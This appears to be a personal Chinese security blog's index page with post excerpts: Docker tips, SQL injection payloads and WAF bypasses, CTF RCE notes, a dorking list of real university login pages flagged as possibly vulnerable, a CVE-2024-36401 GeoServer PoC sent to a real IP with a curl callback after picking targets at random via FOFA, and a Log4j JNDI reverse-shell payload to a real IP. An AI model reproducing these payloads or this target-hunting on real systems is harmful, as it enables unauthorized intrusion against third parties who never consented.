docker

DOCKER 最近搞了很多有关docker的东西,有一些东西由于时效性已经失去功能,这里来算是补充 安装docker docker可以直接apt install安装,但是docker-com需要本地安装。国内很多镜像源并没有docker-com 常用命令(只记一半的) docker ps 查看所有正在进行容器进程 -a可以查看已停止的进程 docker images 查看已经构建的镜像 docker build 构建镜像 docker exec 和自己的镜像终端进行链接 docker rm 删除容器进程 docker rmi 删除镜像 镜像源问题 由于某不可抗力,国内传统镜像源大多已挂,这里贴一个最近还能用的 来源: https://github.com/tech-shrimp/docker_installer?tab=readme-ov-file { "registry-mirrors": [ "https://docker.m.daocloud.io", "https://docker.1panel.live", "https://hub.rat.dev" ] } ctf出题 感谢探姬helloctf,CTF-Archives的模板,提供了很多可用成品dockers供平台搭建 以下是一些模板: https://github.com/CTF-Archives/ctf-docker-template/releases

August 11, 2024 · 1 min · 41 words · huarui

sql注入学习1

sql注入学习1 第一步:判断注入类型 数字型: 使用 1 and 1=2和1 and 1=1来判断(如果没报错,那就不是数字型注入) 字符型: 试试可能的闭合符 ’ " ‘) “) 第二步: 联合查询前写入语句 可能的闭合符 ’ " ‘) “) 不需要的语句可以用注释符号 –+ # %23 –%0c注释掉 使用group by 或者Order by 确定数据列数量:id=-2’group by 4–+ 查找回显位:使你提交的结果能够在页面上给你体现出来 使用语句?id=-2’union select 1,2,3–+(回显的内容的数字就可以知道是哪个位置了) 第三步: 查询库 表 列 查找当前库名:?id=-2’union select 1,2,database()–+ (三号位就是苦库的名) 查找当前库下所有的表名:id=-2’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+(这段话用于在总表information_schema中查找database()的库所对应的table_name,也就是显示这个库中所有的表名。而group_concat则可以把这些表拼接起来) 查找所有表(可能会有一堆乱七八糟的东西):?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables–+ 查看名为flag的表所在的库名:?id=-1’ union select 1,2,table_schema from information_schema.columns where table_name=“flag”–+ 查找当前库列名:id=-2’union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() –+(原理几乎同上)(另外写法:?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns ctfshow –+ ) 这里可以进行替换就能查找指定库的列名 查找名为ctfshow的库下的flag表的列:?id=-1’ union select 1,id,flag from ctfshow.flag–+ 第四步:查询数据库 -2’union select * from ctfshow_web.ctfshow_user where username = ‘flag’ –+ (在名为ctfshow_web的库里找到名为ctfshow_user的表,并且从中寻找列名username的值为flag的数据) 特别的绕过方式 replace(username,‘f’,‘g’),使用改名使得flag绕过preg_match(只能对返回值过滤进行绕过) 空格绕过: %0a %0d %0c /**/ + ` 换行绕过空格: %0b(用于空格绕过都不成功的情况) 一些更简洁的可以参考的playload 1’%0aunion%0asElect%0a1,2,%0agroup_concat(password)%0afrom%0actfshow_user%23 -1’%0cor%0cusername=‘flag waf绕过 大小写 模糊搜索:在where处这样写 where pass like’%c%’(意思是在pass列中模糊搜索c开头的数据,其中的%可用%25替代) 基于原题下手的绕过 $sql = “select id,username,password from ctfshow_user where username !=‘flag’ and id = ‘”.$_GET[‘id’].”’ limit 1;”; ...

August 11, 2024 · 1 min · 149 words · huarui

donk

挖洞笔记 google hacking edusrc site:"gxufe.edu.cn" inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms 奇安信鹰图 title="职业" and domain="edu.cn" 可能的未授权漏洞 改code为1可进,但不是后台 http://ecard.jdzvua.edu.cn:8282/login.aspx 古早网站,有思路再来 http://www.scsw.edu.cn:8000/web/web/web/index.asp

July 11, 2024 · 1 min · 15 words · huarui

geo

CVE-2024-36401 挖到了人生第一个洞,记一下过程 poc展示 POST /geoserver/wfs HTTP/1.1 Host: 124.221.193.109:9090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For: 123.123.123.123 Content-Length: 355 <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference> exec(java.lang.Runtime.getRuntime(),'curl 5uzglt.dnslog.cn') </wfs:valueReference> </wfs:GetPropertyValue> 过程 去fofa上搜索相关资产 app="GeoServer" && country="CN" 然后随便找一个网址,直接上POC即可 成功图示 ...

July 7, 2024 · 1 min · 54 words · huarui

xxqweb

小学期web题 ezz_rce <?php show_source(__FILE__); error_reporting(0); $a=$_GET['shell']; $b=$_GET; $c=$_POST['cmd']; function waf($c){ if(preg_match("/cat|flag/is",$c)) { exit('不是哥们'); }} if(isset($b) and isset($c)){ waf($c); call_user_func($a,$b)($c); }else{ exit('这是一个简单的传参?');} 这是一个简单的传参? 思路就是使得call_user_func($a,$b)变成system,最后的($c)就可以填入命令了 call_user_func($a,$b)($c); 用到一个特别的函数: array_pop() 作用: 弹出数组最后一个元素。 用法: php $stack = ["orange", "banana", "apple", "raspberry"]; $fruit = array_pop($stack); print_r($stack); 解释: array_pop() 函数删除数组的最后一个元素并返回该元素。 所以直接使得shell=system即可 ez_rce 这题的非预期解,仅限php7环境 <?php $a = "这里改成函数或者命令"; echo urlencode(~$a); 这个会生成url加密的东西,拿去替换~(~函数)(~命令); ...

July 5, 2024 · 1 min · 54 words · huarui

ctfshows

ctfshow刷题 随便刷刷 web2 简单的sql,无需多言 直接用sqlmap秒了 web9 利用dirb扫描出robots.txt有内容,进去后得到并下载index.phps 因为题目是先md5然后才进入注入,这题只能碰撞了 第二个参数是ture的时候MD5之后是hex格式,转化到字符串时如果出现’or’xxxx的形式,就会导致注入 这里提供一个抄来的字符串:ffifdyop md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c 转成字符串为’or'6�]��!r,��b web9 这题和上题大致相似,但是有一点爆了,过滤太多了 ...

July 3, 2024 · 1 min · 21 words · huarui

dirb

Dirb Dirb扫目录 dirb URL 用来扫常见目录比如robots.txt 例题ctfshow-web9

June 30, 2024 · 1 min · 6 words · huarui

log4j

Log4j漏洞复现 实战 log4j本身会解析JNDI。攻击者可以直接在JNDI注入代码,从而实现远程代码执行 这里我使用已经搭建好的靶场进行试验 这里写了个反弹shell的playload 命令: bash -i >& /dev/tcp/106.53.39.247/23172 0>&1 采用JDNI注入脚本 JNDIExploit-1.2-SNAPSHOT.jar 需要进行base64加密 在服务器终端上开启恶意代码的端口 另一个终端上开启监听 构造出我们的playload ${jndi:ldap://106.53.39.247:1389/Basic/Command/Base64/c2ggLWkgPiYgL2Rldi90Y3AvMTA2LjUzLjM5LjI0Ny8yMzE3MiAwPiYx} 即可完成反弹shell 简介 log4j全名就是(log for java),就是apache的一个开源的日志记录组件 ,它在Java项目中使用的比较广泛。 Log4j漏洞,特别是被称为“Log4Shell”的漏洞(CVE-2021-44228),是一个严重的安全漏洞,出现在Apache Log4j 2这个广泛使用的Java日志库中。该漏洞于2021年12月被公开披露,并迅速成为全球网络安全的重大威胁。 Log4Shell允许攻击者通过特制的日志消息来远程执行代码(RCE)。该漏洞的核心问题在于Log4j 2的某些版本会在日志消息中解析JNDI(Java Naming and Directory Interface)查找语法,这使得攻击者可以通过在日志消息中注入恶意的JNDI查找请求来执行任意代码。例如,攻击者可以在一个普通的日志消息中包含类似${jndi:ldap://attacker.com/a}的字符串,Log4j 2会解析并执行这个请求,导致远程代码执行。

May 26, 2024 · 1 min · 34 words · huarui

iscc

ISCC 复现 阿帕奇 这里不知道为什么把manager填入信息会替换身份,反正成功了.详情见语雀 这里涉及一个叫异或命令执行的东西 特征:三个数字,两两运算时必得第三个 这里经过尝试在框1填入1,框2填入2,框3算出3 反之框1填入2,框2填入3,框3算出1 得证

May 20, 2024 · 1 min · 9 words · huarui

如何在 Gyoza 中使用图标?

Gyoza 选择 font-class 的方式引用图标。这些图标大部分来源于 Remix Icons,并且在 iconfont 上进行管理和导出。 下图展示了项目中的所有图标: 当你在添加首页显示的社交账号时,你可能会想要使用这些图标。在对应的配置项中填写图标下面有 icon- 前缀的名称即可。 如果是在组件中使用图标,可以按照如下方式: <i className="iconfont icon-xxx"></i> 为什么不是 SVG 图标? 你可能看到很多的项目在使用 iconify。iconify 是一个开源图标集,包含超过 20 万个图标,提供了多种框架的引入方式。Astro 中也有对应的插件 astro-icon 可以使用(如果对此感兴趣,可以查看他们的文档)。 我在项目中也尝试使用过 iconify,但是出于以下几个原因,我最终还是转向了 font-class 的方式: 由于项目中同时使用了 Astro 和 React,而在 Astro 组件和 React 组件中使用 iconify 图标的方式是不同的,这会导致代码中不得不存在两种使用方式。 iconify 在加载时需要请求它的服务器,我会担心请求失败,虽然这种担心是多余的。 有一个功能是我会在渲染文章时往 markdown 中注入一些图标,例如外部链接尾部的图标,iconify 想要做到这一点并不方便。 在 HTML 中直接嵌入 SVG icon 的方式并不优雅,使用 font-class 只需要对应的类名,感觉相较而言最终的 HTML 体积小一点,页面加载会快点。我还没有做过具体的测试,但是至少我会尽量避免页面中出现大量的 SVG 仅仅只是作为图标使用。 该项目中用到的图标并不多,主要是一些常用的社交账号的图标,供自定义联系方式时使用。我希望所有图标集中在一起管理,这样更方便一点。 我必须要承认,目前的图标方案并不优雅,每当图标集合发生修改时我都需要更新对应的字体文件和 CSS 文件。而且其他人想要管理图标集合也变得困难。 也许我会在未来尝试其他方式,例如 @iconify/tailwind,如果你有更好的方案,也欢迎给我留言。 自定义图标 如果你想要替换 iconfont 的图标,请修改以下文件: public/fonts/iconfont.ttf public/fonts/iconfont.woff public/fonts/iconfont.woff2 src/styles/iconfont.css 注意,这将会替换掉项目中使用的所有图标,所以请确保你知道自己在做什么。

May 8, 2024 · 1 min · 74 words · huarui